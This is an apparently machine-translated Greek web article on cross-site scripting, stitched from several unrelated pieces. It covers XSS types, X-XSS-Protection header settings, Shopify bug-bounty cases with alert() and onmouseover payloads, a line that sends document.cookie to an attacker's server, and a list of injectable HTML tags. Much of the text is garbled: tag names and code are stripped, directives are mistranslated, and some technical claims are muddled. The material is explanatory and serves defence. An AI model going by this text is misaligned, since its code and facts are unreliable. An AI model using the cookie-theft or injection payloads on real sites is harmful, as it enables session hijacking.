Ευπάθεια XSS - τι είναι; Παραδείγματα τρωτών σημείων XSS. Easy Hack: Πώς να εξαγάγετε δεδομένα μέσω Cross Site Scripting Inclusion Xss warning noscript

Η χρήση κεφαλίδων ασφαλείας είναι ένα σημαντικό μέρος για την προστασία ενός ιστότοπου και των επισκεπτών του από επιθέσεις χάκερ. Στο τελευταίο άρθρο σχετικά με την ενότητα για την προστασία και την ασφάλεια, υποσχέθηκα να δημοσιεύω τακτικά δημοσιεύσεις σχετικά με αυτό το θέμα. Σήμερα θα μιλήσω για προστασία από επιθέσεις XSS.

Τι είναι μια επίθεση XSS

Το Cross Site Scripting είναι μια ευπάθεια που επιτρέπει σε έναν εισβολέα να εισάγει κακόβουλο κώδικα (συνήθως HTML ή JavaScript) στο περιεχόμενο ενός ιστότοπου. Ο κακόβουλος κώδικας εκτελείται στο πρόγραμμα περιήγησης του χρήστη που βλέπει τη μολυσμένη ιστοσελίδα.

Οι εισβολείς μπορούν να εκμεταλλευτούν διάφορα τρωτά σημεία. Οι πιο συνηθισμένοι τύποι επιθέσεων είναι:

  • Το Reflected XSS είναι ο πιο κοινός τύπος μη επίμονης επίθεσης, που απαιτεί συγκεκριμένη ενέργεια από τον χρήστη.
  • Το Persistent XSS είναι ένας μόνιμος τύπος επίθεσης που εισάγει κακόβουλο κώδικα στον διακομιστή και δεν απαιτεί παρέμβαση του χρήστη.
Αντικατοπτρίζεται η επίθεση XSS

Ενεργοποιείται όταν ένας χρήστης ακολουθεί έναν ειδικά προετοιμασμένο σύνδεσμο που στέλνει ένα αίτημα σε έναν ιστότοπο με ευπάθεια. Αυτή η ευπάθεια είναι συνήθως αποτέλεσμα ανεπαρκούς φιλτραρίσματος των εισερχόμενων αιτημάτων, που επιτρέπει τον χειρισμό συναρτήσεων και την ενεργοποίηση κακόβουλων σεναρίων.

  • Ο εισβολέας ενσωματώνει ένα κακόβουλο σενάριο στον υπερσύνδεσμο που επιτρέπει την προβολή των cookie περιόδου λειτουργίας χρήστη και το στέλνει στο θύμα μέσω email ή άλλου μέσου επικοινωνίας.
  • Όταν κάνετε κλικ στον σύνδεσμο, ο χρήστης συλλαμβάνεται.
  • Το σενάριο εκτελείται στο πρόγραμμα περιήγησης του χρήστη.
  • Το πρόγραμμα περιήγησης στέλνει cookies στον εισβολέα, παρέχοντας πρόσβαση στα προσωπικά δεδομένα του χρήστη.
  • Αποθηκευμένη επίθεση XSS

    Για να πραγματοποιήσει με επιτυχία μια αποθηκευμένη επίθεση, ένας εισβολέας πρέπει απλώς να βρει μια ευπάθεια στον ιστότοπο και να τοποθετήσει ένα κακόβουλο σενάριο στον διακομιστή του. Στη συνέχεια, ο ιστότοπος τοποθετεί μια ετικέτα που φορτώνει το σενάριο από έναν εξωτερικό ιστότοπο, για παράδειγμα, στα σχόλια. Όταν φορτώνεται μια μολυσμένη σελίδα, ένα κακόβουλο σενάριο μεταδίδεται στο πρόγραμμα περιήγησης του χρήστη κάθε φορά.

  • Ένας εισβολέας ανακαλύπτει έναν ιστότοπο με ευπάθεια XSS και εισάγει ένα κακόβουλο σενάριο που κλέβει τα cookies του χρήστη.
  • Κάθε φορά που επισκέπτεστε έναν ιστότοπο, το κακόβουλο σενάριο ενεργοποιείται χωρίς να εκτελούνται ενέργειες.
  • Τα cookies περιόδου λειτουργίας από το πρόγραμμα περιήγησης του επισκέπτη αποστέλλονται στον εισβολέα.
  • Ενεργοποίηση της κεφαλίδας X-XSS-Protection

    Η κεφαλίδα X-XSS-Protection προορίζεται να ενεργοποιήσει το φίλτρο δέσμης ενεργειών μεταξύ τοποθεσιών που είναι ενσωματωμένο σε όλα τα σύγχρονα προγράμματα περιήγησης. Θα επιτρέψει, για παράδειγμα, να αποτρέψει την εκτέλεση μιας ετικέτας στη διεύθυνση URL της σελίδας.

    Η οδηγία αναφοράς για την αποστολή αναφορών λειτουργεί παρόμοια με την οδηγία αναφοράς-uri (ή αναφοράς σε) Πολιτική ασφαλείας περιεχομένου (CSP), δίνοντας εντολή στο πρόγραμμα περιήγησης του χρήστη να αναφέρει απόπειρες παραβίασης της πολιτικής ασφάλειας περιεχομένου. Θα μιλήσω για αυτό σε ξεχωριστό άρθρο.

    Η αναφορά παραβίασης δημιουργείται σε μορφή JSON και αποστέλλεται μέσω αιτημάτων POST στην καθορισμένη διεύθυνση URL.

    Επιστρέφοντας στο κύριο θέμα, προτείνω να ρυθμίσετε τον διακομιστή με τέτοιο τρόπο ώστε η κεφαλίδα HTTP να περιλαμβάνει φιλτράρισμα και, σε περίπτωση επίθεσης XSS, να εμποδίζει τη φόρτωση μιας σελίδας με μη ασφαλές περιεχόμενο. Στο πρόσθετο αρχείο διαμόρφωσης file.htaccess (ή httpd.conf εάν έχετε πλήρη πρόσβαση στον διακομιστή) του διακομιστή ιστού Apache, πρέπει να προσθέσετε την ακόλουθη καταχώρηση:

    Σετ κεφαλίδων X-XSS-Protection "1; mode=block"

    Για τον διακομιστή Nginx, προσθέστε την ακόλουθη καταχώρηση στο αρχείο nginx.conf στην ενότητα HTTP:

    Add_header X-XSS-Protection "1; mode=block" ;

    Σε περίπτωση που δεν υπάρχει πρόσβαση στα αρχεία διαμόρφωσης διακομιστή, αλλά υπάρχει υποστήριξη PHP, χρησιμοποιήστε τη λειτουργία:

    Το Cross Site Scripting, γνωστό και ως XSS, είναι μια μέθοδος έγχυσης κακόβουλου κώδικα που εκτελείται από την πλευρά του πελάτη. Ο χρήστης μπορεί να παρατηρήσει κάτι λάθος, για παράδειγμα, ασυνήθιστη συμπεριφορά της σελίδας, μερικές φορές η επίθεση συμβαίνει εντελώς απαρατήρητα στο παρασκήνιο.

    Ας ελπίσουμε ότι τώρα καταλαβαίνετε λίγο περισσότερα σχετικά με τις κεφαλίδες διακομιστή HTTP και το X-XSS μπορεί να σας βοηθήσει να αποτρέψετε τη δημιουργία σεναρίων μεταξύ τοποθεσιών. Χρησιμοποιώ κεφαλίδες ασφαλείας σε όλους τους ιστότοπούς μου και σας ενθαρρύνω να κάνετε το ίδιο. Μαζί μπορούμε να κάνουμε το Διαδίκτυο ασφαλέστερο! 😉

    Η δέσμη ενεργειών μεταξύ τοποθεσιών ή η δέσμη ενεργειών μεταξύ τοποθεσιών ή XSS, περιλαμβάνει έναν ιστότοπο που περιλαμβάνει ακούσιο κώδικα Javascript, ο οποίος με τη σειρά του μεταδίδεται στους χρήστες που εκτελούν τον κώδικα στα προγράμματα περιήγησής τους. Ένα αβλαβές παράδειγμα XSS (που είναι ακριβώς αυτό που πρέπει να χρησιμοποιήσετε!) μοιάζει με αυτό:

    alert('XSS');

    Αυτό θα καλέσει τη συνάρτηση ειδοποίησης Javascript και θα δημιουργήσει ένα απλό (και αβλαβές) πλαίσιο με τα γράμματα XSS. Σε προηγούμενες εκδόσεις του βιβλίου, συνιστούσα να χρησιμοποιείτε αυτό το παράδειγμα όταν γράφετε αναφορές. Δηλαδή, μέχρι που ένας εξαιρετικά επιτυχημένος χάκερ μου είπε ότι ήταν ένα «φρικτό παράδειγμα», εξηγώντας ότι ο παραλήπτης μιας αναφοράς ευπάθειας μπορεί να μην αντιληφθεί τη σοβαρότητα του προβλήματος και, επειδή το παράδειγμα ήταν ακίνδυνο, θα πλήρωνε μια μικρή ανταμοιβή.

    Επομένως, χρησιμοποιήστε αυτό το παράδειγμα για να εντοπίσετε μια ευπάθεια XSS, αλλά όταν γράφετε την αναφορά, σκεφτείτε την πιθανή βλάβη που θα μπορούσε να προκαλέσει η ευπάθεια και εξηγήστε την. Με αυτό δεν εννοώ να πω στην εταιρεία τι είναι το XSS, αλλά μάλλον να εξηγήσω τι μπορείτε να επιτύχετε εκμεταλλευόμενοι την ευπάθεια και πώς θα μπορούσε να επηρεάσει συγκεκριμένα τον ιστότοπό της.

    Υπάρχουν τρεις διαφορετικοί τύποι XSS για τους οποίους μπορεί να ακούσετε κατά την έρευνα και την αναφορά:

    • Reflective XSS: Αυτές οι επιθέσεις δεν αποθηκεύονται στον ιστότοπο, που σημαίνει ότι το XSS δημιουργείται και εκτελείται σε ένα μόνο αίτημα και απόκριση.
    • Αποθηκευμένο XSS: Αυτές οι επιθέσεις αποθηκεύονται στον ιστότοπο και είναι συχνά πιο επικίνδυνες. Αποθηκεύονται στον διακομιστή και εκτελούνται σε «κανονικές» σελίδες από ανυποψίαστους χρήστες.
    • Self XSS: Αυτές οι επιθέσεις επίσης δεν αποθηκεύονται στον ιστότοπο και συνήθως χρησιμοποιούνται ως μέρος της εξαπάτησης ενός ατόμου να τρέξει το ίδιο το XSS. Όταν ψάχνετε για τρωτά σημεία, θα διαπιστώσετε ότι οι εταιρείες συχνά δεν ενδιαφέρονται για την εξάλειψη του Self XSS, αλλά μόνο ενδιαφέρονται για περιπτώσεις όπου η βλάβη στους χρήστες τους μπορεί να προέρχεται από κάποιον άλλο εκτός από τους ίδιους, όπως συμβαίνει με το Reflective and Stored XSS. Ωστόσο, αυτό δεν σημαίνει ότι δεν πρέπει να αναζητήσετε το Self XSS.

    Εάν βρείτε μια κατάσταση όπου το Self XSS μπορεί να εκτελεστεί αλλά να μην αποθηκευτεί, σκεφτείτε πώς θα μπορούσε να γίνει εκμετάλλευση αυτής της ευπάθειας, μπορείτε να το χρησιμοποιήσετε σε συνδυασμό με κάτι ώστε να μην είναι πλέον Self XSS;

    Ένα από τα πιο διάσημα παραδείγματα χρήσης XSS είναι το MySpace Samy Work, που έγινε από τον Samy Kamkar. Τον Οκτώβριο του 2005, ο Sami εκμεταλλεύτηκε μια αποθηκευμένη ευπάθεια XSS στο MySpace, η οποία του επέτρεπε να ανεβάζει κώδικα Javascript που εκτελούνταν κάθε φορά που κάποιος επισκεπτόταν τη σελίδα του στο MySpace, προσθέτοντας τον επισκέπτη της σελίδας ως φίλο του προφίλ του Sami. Επιπλέον, ο κώδικας αντιγράφηκε επίσης στις σελίδες των νέων φίλων του Samy, έτσι ώστε τα προφίλ των νέων φίλων του να ενημερωθούν με το ακόλουθο κείμενο: "αλλά πάνω από όλα, ο Samy είναι ο ήρωάς μου."

    Αν και το παράδειγμα του Sami ήταν σχετικά ακίνδυνο, η χρήση XSS επιτρέπει σε κάποιον να κλέψει στοιχεία σύνδεσης, κωδικούς πρόσβασης, τραπεζικές πληροφορίες και ούτω καθεξής. Παρά την πιθανή βλάβη, η διόρθωση ευπαθειών XSS γενικά δεν είναι δύσκολη και απαιτεί από τους προγραμματιστές να διαφεύγουν απλώς από την εισαγωγή των χρηστών (όπως ακριβώς η ένεση HTML) κατά την απόδοση. Ωστόσο, ορισμένοι ιστότοποι αφαιρούν επίσης πιθανούς κακόβουλους χαρακτήρες όταν τους στέλνει ο χάκερ.

    1. Πώληση Shopify

    Δυσκολία: Χαμηλή
    Διεύθυνση URL: wholesale.shopify.com
    Σύνδεσμος αναφοράς: https://hackerone.com/reports/10629326 Ημερομηνία αναφοράς: 21 Δεκεμβρίου 2015
    Πληρωμή ανταμοιβής: $500
    Περιγραφή:

    Ο ιστότοπος πώλησης Shopify27 είναι μια απλή σελίδα με μια άμεση παρότρυνση για δράση - εισαγάγετε το όνομα του προϊόντος και κάντε κλικ στο «Εύρεση προϊόντων». Εδώ είναι ένα στιγμιότυπο οθόνης:

    Στιγμιότυπο οθόνης του ιστότοπου χονδρικής πώλησης

    Η ευπάθεια XSS εδώ ήταν η απλούστερη που μπορείτε να βρείτε - το κείμενο που εισαγάγατε στη γραμμή αναζήτησης δεν είχε διαφύγει, επομένως οποιαδήποτε Javascript που εισαγάγατε εκτελέστηκε. Ακολουθεί το απεσταλμένο κείμενο από την περιγραφή ευπάθειας: test';alert('XSS');'

    Ο λόγος που αυτό λειτούργησε είναι επειδή το Shopify έλαβε τα δεδομένα χρήστη, εκτέλεσε το ερώτημα αναζήτησης και, αν δεν υπήρχαν αποτελέσματα, τύπωσε ένα μήνυμα που έλεγε ότι δεν υπήρχαν αποτελέσματα αναζήτησης για τον όρο αναζήτησης που εισήχθη, εμφανίζοντας την είσοδο χρήστη χωρίς διαφυγή στη σελίδα. Ως αποτέλεσμα, το υποβληθέν Javascript αποδόθηκε στη σελίδα και τα προγράμματα περιήγησης το ερμήνευσαν ως εκτελέσιμο Javascript.

    συμπεράσματα

    Δοκιμάστε τα πάντα, δίνοντας ιδιαίτερη προσοχή σε καταστάσεις όπου το κείμενο που εισάγατε αποδίδεται στη σελίδα. Ελέγξτε εάν μπορείτε να συμπεριλάβετε HTML ή Javascript στην εισαγωγή σας και δείτε πώς το επεξεργάζεται ο ιστότοπος. Δοκιμάστε επίσης να κωδικοποιήσετε την είσοδο παρόμοια με αυτή που περιγράφεται στο κεφάλαιο για τις ενέσεις HTML.

    Τα τρωτά σημεία XSS δεν χρειάζεται να είναι περίπλοκα ή να προκαλούν σύγχυση. Αυτή η ευπάθεια ήταν η απλούστερη που μπορούσε να φανταστεί κανείς - ένα απλό πεδίο εισαγωγής κειμένου που δεν επεξεργάζεται την είσοδο του χρήστη. Και ανακαλύφθηκε στις 21 Δεκεμβρίου 2015 και απέφερε στον χάκερ 500 δολάρια! Το μόνο που χρειάστηκε ήταν η σκέψη των χάκερ.

    2. Καλάθι δωροκάρτας Shopify

    Δυσκολία: Χαμηλή
    Διεύθυνση URL: hardware.shopify.com/cart
    Σύνδεσμος αναφοράς: https://hackerone.com/reports/9508928 Ημερομηνία αναφοράς: 21 Οκτωβρίου 2015
    Πληρωμή ανταμοιβής: $500
    Περιγραφή:

    Ο ιστότοπος καταστήματος δωροκαρτών Shopify29 επιτρέπει στους χρήστες να δημιουργούν τα δικά τους σχέδια δωροκάρτας χρησιμοποιώντας μια φόρμα HTML που περιλαμβάνει ένα πλαίσιο μεταφόρτωσης αρχείου, μερικές γραμμές για εισαγωγή κειμένου για λεπτομέρειες κ.λπ. Εδώ είναι ένα στιγμιότυπο οθόνης:

    Στιγμιότυπο οθόνης της φόρμας καταστήματος δωροκάρτας Shopify

    Η ευπάθεια XSS εδώ ενεργοποιήθηκε όταν εισήχθη η Javascript στο πεδίο φόρμας που προορίζεται για τον τίτλο της εικόνας. Αυτό είναι αρκετά εύκολο να γίνει χρησιμοποιώντας διακομιστές μεσολάβησης HTML, για τους οποίους θα μιλήσουμε αργότερα στο κεφάλαιο «Εργαλεία». Έτσι η αρχική υποβολή φόρμας περιλάμβανε:

    Περιεχόμενο - Διάθεση : έντυπο - δεδομένα ; όνομα = "ιδιότητες [αρχείο Artwor 2 k]"


    Θα μπορούσε να υποκλαπεί και να αλλάξει σε:

    Περιεχόμενο - Διάθεση : έντυπο - δεδομένα ; name = ”properties [ Αρχείο Artwor 2 k< img src = ’test ’onmouseover = ’alert (2 ) ’> ] ”;

    συμπεράσματα

    Υπάρχουν δύο πράγματα που πρέπει να σημειώσετε εδώ που θα σας βοηθήσουν να εντοπίσετε ευπάθειες XSS.


    Η δέσμη ενεργειών μεταξύ τοποθεσιών (XSS) αναφέρεται σε μια επίθεση έγχυσης κώδικα από την πλευρά του πελάτη, στην οποία ένας εισβολέας μπορεί να εκτελέσει κακόβουλα σενάρια σε έναν ιστότοπο ή μια εφαρμογή Ιστού. Το XSS είναι ένα από τα πιο κοινά τρωτά σημεία εφαρμογών ιστού και εμφανίζεται όταν μια εφαρμογή Ιστού δεν χρησιμοποιεί επικύρωση ή κωδικοποίηση εισόδου/εξόδου.

    Χρησιμοποιώντας XSS, ο εισβολέας δεν στοχεύει άμεσα το θύμα. Αντίθετα, θα εκμεταλλευτεί μια ευπάθεια σε έναν ιστότοπο ή μια εφαρμογή Ιστού που επισκέπτεται το θύμα, χρησιμοποιώντας ουσιαστικά τον ευάλωτο ιστότοπο ως όχημα για να παραδώσει ένα κακόβουλο σενάριο στο πρόγραμμα περιήγησης του θύματος.

    Ενώ το XSS μπορεί να χρησιμοποιηθεί σε VBScript, ActiveX και Flash (αν και το τελευταίο θεωρείται πλέον καταργημένο), γίνεται αναμφισβήτητα η μεγαλύτερη κατάχρηση στο JavaScript - κυρίως επειδή η JavaScript είναι θεμελιώδης για τους περισσότερους ιστότοπους.

    Πώς λειτουργεί το σενάριο μεταξύ τοποθεσιών

    Για την εκτέλεση κακόβουλου κώδικα JavaScript στο πρόγραμμα περιήγησης ενός θύματος, ο εισβολέας πρέπει πρώτα να βρει έναν τρόπο να εισάγει ωφέλιμο φορτίο στην ιστοσελίδα που επισκέπτεται το θύμα. Φυσικά, ένας εισβολέας θα μπορούσε να χρησιμοποιήσει τεχνικές κοινωνικής μηχανικής για να πείσει έναν χρήστη να επισκεφτεί μια ευάλωτη σελίδα με ωφέλιμο φορτίο JavaScript.

    Για να συμβεί μια επίθεση XSS, ο ευάλωτος ιστότοπος πρέπει να περιλαμβάνει απευθείας στοιχεία χρήστη στις σελίδες του. Ο εισβολέας μπορεί στη συνέχεια να εισαγάγει μια συμβολοσειρά που θα χρησιμοποιηθεί στην ιστοσελίδα και θα υποβληθεί σε επεξεργασία ως κώδικας από το πρόγραμμα περιήγησης του θύματος.

    Ο ακόλουθος ψευδοκώδικας από την πλευρά του διακομιστή χρησιμοποιείται για την εμφάνιση του πιο πρόσφατου σχολίου σε μια ιστοσελίδα.

    Εκτύπωση "" εκτύπωση "Πιο πρόσφατο σχόλιο" εκτύπωση database.latestΣχόλιο εκτύπωση "" Το παραπάνω σενάριο απλώς εκτυπώνει το τελευταίο σχόλιο από τη βάση δεδομένων σχολίων και εκτυπώνει τα περιεχόμενα στη σελίδα HTML, υποθέτοντας ότι το εκτυπωμένο σχόλιο αποτελείται μόνο από κείμενο.

    Ο παραπάνω κώδικας σελίδας είναι ευάλωτος στο xss επειδή ένας εισβολέας μπορεί να αφήσει ένα σχόλιο που περιέχει κακόβουλο ωφέλιμο φορτίο, π.χ.

    doSomethingEvil();. Οι χρήστες που επισκέπτονται την ιστοσελίδα θα λάβουν την ακόλουθη σελίδα HTML.

    Το πιο πρόσφατο σχόλιο doSomethingEvil(); Όταν η σελίδα φορτώνεται στο πρόγραμμα περιήγησης του θύματος, το κακόβουλο σενάριο του εισβολέα θα εκτελεστεί, τις περισσότερες φορές χωρίς την επίγνωση ή την ικανότητα του χρήστη να αποτρέψει μια τέτοια επίθεση.

    Σημαντική σημείωση: Η ευπάθεια xss μπορεί να υπάρξει μόνο εάν το ωφέλιμο φορτίο (κακόβουλο σενάριο) που εισάγει ο εισβολέας αποδίδεται τελικά (ως HTML σε αυτήν την περίπτωση) στο πρόγραμμα περιήγησης του θύματος

    Τι μπορεί να κάνει ένας εισβολέας με τη JavaScript;

    Οι συνέπειες του τι μπορεί να κάνει ένας εισβολέας με τη δυνατότητα εκτέλεσης JavaScript σε μια ιστοσελίδα μπορεί να μην είναι αμέσως εμφανείς, ειδικά επειδή τα προγράμματα περιήγησης εκτελούν JavaScript σε ένα πολύ αυστηρά ελεγχόμενο περιβάλλον και ότι η JavaScript έχει περιορισμένη πρόσβαση στο λειτουργικό σύστημα του χρήστη και στα αρχεία του χρήστη .

    Ωστόσο, δεδομένου ότι η JavaScript έχει πρόσβαση στα ακόλουθα, είναι ευκολότερο να καταλάβουμε τι μπορούν να αποκτήσουν οι δημιουργικοί εισβολείς με τη JavaScript.

    Το κακόβουλο JavaScript έχει πρόσβαση σε όλα τα ίδια αντικείμενα με την υπόλοιπη ιστοσελίδα, συμπεριλαμβανομένης της πρόσβασης σε cookies. Τα cookies χρησιμοποιούνται συχνά για την αποθήκευση διακριτικών συνεδρίας· εάν ένας εισβολέας μπορεί να αποκτήσει το cookie περιόδου λειτουργίας ενός χρήστη, μπορεί να μιμηθεί αυτόν τον χρήστη.

    Η JavaScript μπορεί να χρησιμοποιήσει το XMLHttpRequest για να στείλει αιτήματα http με αυθαίρετο περιεχόμενο σε αυθαίρετες κατευθύνσεις.

    Το JavaScript στα σύγχρονα προγράμματα περιήγησης μπορεί να χρησιμοποιήσει API HTML5, όπως πρόσβαση στη γεωγραφική τοποθεσία του χρήστη, στην κάμερα web, στο μικρόφωνο, ακόμη και σε συγκεκριμένα αρχεία από το σύστημα αρχείων του χρήστη. Ενώ τα περισσότερα από αυτά τα API απαιτούν αλληλεπίδραση με τον χρήστη, το XSS σε συνδυασμό με κάποια έξυπνη κοινωνική μηχανική μπορεί να αποφέρει αρκετά καλά αποτελέσματα για έναν εισβολέα.

    Γενικά, σε συνδυασμό με την κοινωνική μηχανική, αυτές οι μέθοδοι επιτρέπουν στους εισβολείς να οργανώνουν επιθέσεις όπως κλοπή cookie, καταγραφή πληκτρολογίου, phishing και κλοπή ταυτότητας. Ουσιαστικά, τα τρωτά σημεία XSS παρέχουν το τέλειο έδαφος για τους επιτιθέμενους να κλιμακώσουν τις επιθέσεις σε πιο σοβαρές.

    Δεν είναι πρόβλημα χρήστη το cross-site scripting;

    Οχι. Εάν ένας εισβολέας μπορεί να κάνει κατάχρηση μιας ευπάθειας XSS σε μια ιστοσελίδα για να εκτελέσει αυθαίρετη JavaScript στο πρόγραμμα περιήγησης του επισκέπτη, η ασφάλεια αυτού του ιστότοπου ή της εφαρμογής ιστού και των χρηστών του έχει παραβιαστεί - το xss δεν είναι πρόβλημα του χρήστη, ούτε οποιαδήποτε άλλη ευπάθεια ασφαλείας εάν επηρεάζει τους χρήστες σας, θα σας επηρεάσει.

    Ανατομία μιας επίθεσης σεναρίων μεταξύ τοποθεσιών

    Μια επίθεση Xss απαιτεί τρεις συμμετέχοντες: τον ιστότοπο, το θύμα και τον εισβολέα. Το παρακάτω παράδειγμα υποθέτει ότι ο στόχος του εισβολέα είναι να υποδυθεί το θύμα κλέβοντας τα cookies του θύματος. Η αποστολή cookies στον διακομιστή του εισβολέα μπορεί να γίνει με διάφορους τρόπους, ένας από τους οποίους είναι με την εκτέλεση του ακόλουθου κώδικα JavaScript στο πρόγραμμα περιήγησης του θύματος χρησιμοποιώντας μια ευπάθεια XSS.

    window.?cookie=” + document.cookie Το παρακάτω σχήμα δείχνει έναν βήμα προς βήμα οδηγό για μια απλή επίθεση XSS.

    • Ένας εισβολέας εισάγει ωφέλιμο φορτίο στη βάση δεδομένων ενός ιστότοπου υποβάλλοντας μια ευάλωτη φόρμα χρησιμοποιώντας κακόβουλο κώδικα JavaScript
    • Το θύμα ζητά μια ιστοσελίδα από έναν ιστότοπο
    • Ο ιστότοπος εξυπηρετεί στο πρόγραμμα περιήγησης του θύματος μια σελίδα με το ωφέλιμο φορτίο του εισβολέα ως μέρος του σώματος HTML.
    • Το πρόγραμμα περιήγησης του θύματος θα εκτελέσει το κακόβουλο σενάριο μέσα στο σώμα HTML. Σε αυτήν την περίπτωση, θα στείλει τα cookies του θύματος στον διακομιστή του εισβολέα. Τώρα ο εισβολέας πρέπει απλώς να εξαγάγει το cookie του θύματος όταν φτάσει ένα αίτημα HTTP στον διακομιστή, μετά το οποίο ο εισβολέας μπορεί να χρησιμοποιήσει το κλεμμένο cookie του θύματος.
    Μερικά παραδείγματα σεναρίων επίθεσης μεταξύ τοποθεσιών

    Παρακάτω είναι μια μικρή λίστα σεναρίων επίθεσης XSS που μπορεί να χρησιμοποιήσει ένας εισβολέας για να θέσει σε κίνδυνο την ασφάλεια ενός ιστότοπου ή μιας εφαρμογής Ιστού.

    ετικέτα

    Αυτή η ετικέτα είναι η πιο άμεση ευπάθεια xss. Η ετικέτα σεναρίου μπορεί να συνδεθεί με εξωτερικό κώδικα JavaScript.

    alert("XSS"); ετικέτα

    Με το xss, η ένεση μπορεί να παραδοθεί μέσα στην ετικέτα χρησιμοποιώντας το χαρακτηριστικό onload ή άλλο πιο σκούρο χαρακτηριστικό, όπως το φόντο.

    ετικέτα Ορισμένα προγράμματα περιήγησης θα εκτελούν JavaScript όταν είναι μέσα .

    ετικέτα Αυτή η ετικέτα σάς επιτρέπει να ενσωματώσετε μια άλλη σελίδα HTML στη μητρική σελίδα. Ένα iFrame μπορεί να περιέχει JavaScript, ωστόσο είναι σημαντικό να σημειωθεί ότι το JavaScript σε ένα iFrame δεν έχει πρόσβαση στο DOM της γονικής σελίδας λόγω της Πολιτικής Ασφάλειας Περιεχομένου (CSP) του προγράμματος περιήγησης. Ωστόσο, τα IFrames εξακολουθούν να είναι ένα πολύ αποτελεσματικό μέσο για επιθέσεις phishing.

    ετικέτα

    Σε ορισμένα προγράμματα περιήγησης, εάν το χαρακτηριστικό type αυτής της ετικέτας έχει οριστεί σε εικόνα, μπορεί να χρησιμοποιηθεί για να φιλοξενήσει ένα σενάριο.

    ετικέτα

    Η ετικέτα, η οποία χρησιμοποιείται συχνά για σύνδεση με εξωτερικά φύλλα στυλ, μπορεί να περιέχει σενάριο.

    ετικέτα

    Το χαρακτηριστικό φόντου των ετικετών πίνακα και td μπορεί να χρησιμοποιηθεί για να υποδείξει ένα σενάριο αντί για μια εικόνα.

    ετικέτα

    Στην ετικέτα, παρόμοια

    Και
    ετικέτες μπορείτε να καθορίσετε το φόντο και επομένως να εισαγάγετε το σενάριο.

    ετικέτα

    Αυτή η ετικέτα μπορεί να χρησιμοποιηθεί για να συμπεριληφθεί σε ένα σενάριο από εξωτερικό ιστότοπο.

    Είναι ο ιστότοπός σας ευάλωτος σε δέσμες ενεργειών μεταξύ τοποθεσιών;

    Οι ευπάθειες XSS είναι από τις πιο κοινές ευπάθειες εφαρμογών ιστού στο Διαδίκτυο. Ευτυχώς, είναι εύκολο να ελέγξετε εάν ο ιστότοπος ή η εφαρμογή ιστού σας είναι ευάλωτος σε XSS και άλλα τρωτά σημεία απλά επικοινωνώντας μαζί μου. Με μια μικρή χρέωση, χρησιμοποιώντας ειδικά προγράμματα, θα σαρώσω τον πόρο σας, θα βρω πιθανά τρωτά σημεία και θα σας πω πώς να τα εξαλείψετε.

    Η δέσμη ενεργειών μεταξύ τοποθεσιών (XSS για συντομία) είναι μια ευρέως διαδεδομένη ευπάθεια που επηρεάζει πολλές εφαρμογές Ιστού. Επιτρέπει σε έναν εισβολέα να εισάγει κακόβουλο κώδικα σε έναν ιστότοπο με τέτοιο τρόπο ώστε το πρόγραμμα περιήγησης ενός χρήστη που επισκέπτεται τον ιστότοπο να εκτελέσει τον κώδικα.

    Συνήθως, η εκμετάλλευση μιας τέτοιας ευπάθειας απαιτεί κάποια αλληλεπίδραση με τον χρήστη: είτε παρασύρονται σε έναν μολυσμένο ιστότοπο χρησιμοποιώντας κοινωνική μηχανική, είτε απλώς περιμένουν τον χρήστη να επισκεφτεί τον ιστότοπο. Επομένως, οι προγραμματιστές συχνά δεν λαμβάνουν σοβαρά υπόψη τις ευπάθειες XSS.

    Αλλά αν δεν αντιμετωπιστούν, μπορεί να αποτελέσουν σοβαρό κίνδυνο για την ασφάλεια.

    Ας φανταστούμε ότι βρισκόμαστε στον πίνακα διαχείρισης του WordPress, προσθέτοντας νέο περιεχόμενο. Εάν χρησιμοποιήσουμε ένα πρόσθετο ευάλωτο στο XSS για αυτό, μπορεί να αναγκάσει το πρόγραμμα περιήγησης να δημιουργήσει έναν νέο διαχειριστή, να τροποποιήσει το περιεχόμενο και να εκτελέσει άλλες κακόβουλες ενέργειες. Η δέσμη ενεργειών μεταξύ τοποθεσιών δίνει στον εισβολέα σχεδόν πλήρη έλεγχο του πιο σημαντικού λογισμικού στις μέρες μας - του προγράμματος περιήγησης.

    XSS: Ευπάθεια έγχυσης

    Οποιοσδήποτε ιστότοπος ή εφαρμογή έχει πολλές θέσεις για εισαγωγή δεδομένων - πεδία φόρμας μέχρι την ίδια τη διεύθυνση URL. Το απλούστερο παράδειγμα εισαγωγής δεδομένων είναι όταν εισάγουμε ένα όνομα χρήστη και έναν κωδικό πρόσβασης σε μια φόρμα:

    Το όνομά μας θα αποθηκευτεί στη βάση δεδομένων του ιστότοπου για επακόλουθες αλληλεπιδράσεις μαζί μας. Σίγουρα, όταν συνδεθήκατε σε οποιονδήποτε ιστότοπο, είδατε έναν προσωπικό χαιρετισμό στο στυλ "Καλώς ήρθες, Ilya".

    Για τέτοιους σκοπούς τα ονόματα χρήστη αποθηκεύονται στη βάση δεδομένων.

    Η ένεση είναι μια διαδικασία κατά την οποία, αντί για όνομα ή κωδικό πρόσβασης, εισάγεται μια ειδική ακολουθία χαρακτήρων, αναγκάζοντας τον διακομιστή ή το πρόγραμμα περιήγησης να ανταποκριθεί με έναν ορισμένο τρόπο που επιθυμεί ο εισβολέας.

    Η δέσμη ενεργειών μεταξύ τοποθεσιών είναι μια ένεση που εισάγει κώδικα που θα εκτελέσει ενέργειες στο πρόγραμμα περιήγησης για λογαριασμό του ιστότοπου. Αυτό μπορεί να συμβεί είτε με ειδοποίηση προς τον χρήστη είτε στο παρασκήνιο, εν αγνοία του.

    Παραδοσιακές επιθέσεις XSS: Αντανακλά (μη επίμονες).

    Μια ανακλώμενη επίθεση XSS ενεργοποιείται όταν ένας χρήστης κάνει κλικ σε έναν ειδικά διαμορφωμένο σύνδεσμο.

    Αυτά τα τρωτά σημεία εμφανίζονται όταν τα δεδομένα που παρέχονται από έναν υπολογιστή-πελάτη ιστού, τις περισσότερες φορές σε παραμέτρους αιτήματος HTTP ή σε μορφή HTML, εκτελούνται απευθείας από σενάρια από την πλευρά του διακομιστή για την ανάλυση και την εμφάνιση μιας σελίδας αποτελεσμάτων για αυτόν τον πελάτη, χωρίς κατάλληλη επεξεργασία.

    Αποθηκευμένο (μόνιμο).

    Το αποθηκευμένο XSS είναι δυνατό όταν ένας εισβολέας καταφέρει να εισάγει κακόβουλο κώδικα στον διακομιστή που εκτελείται στο πρόγραμμα περιήγησης κάθε φορά που γίνεται πρόσβαση στην αρχική σελίδα. Ένα κλασικό παράδειγμα αυτής της ευπάθειας είναι τα φόρουμ που επιτρέπουν σχόλια HTML.

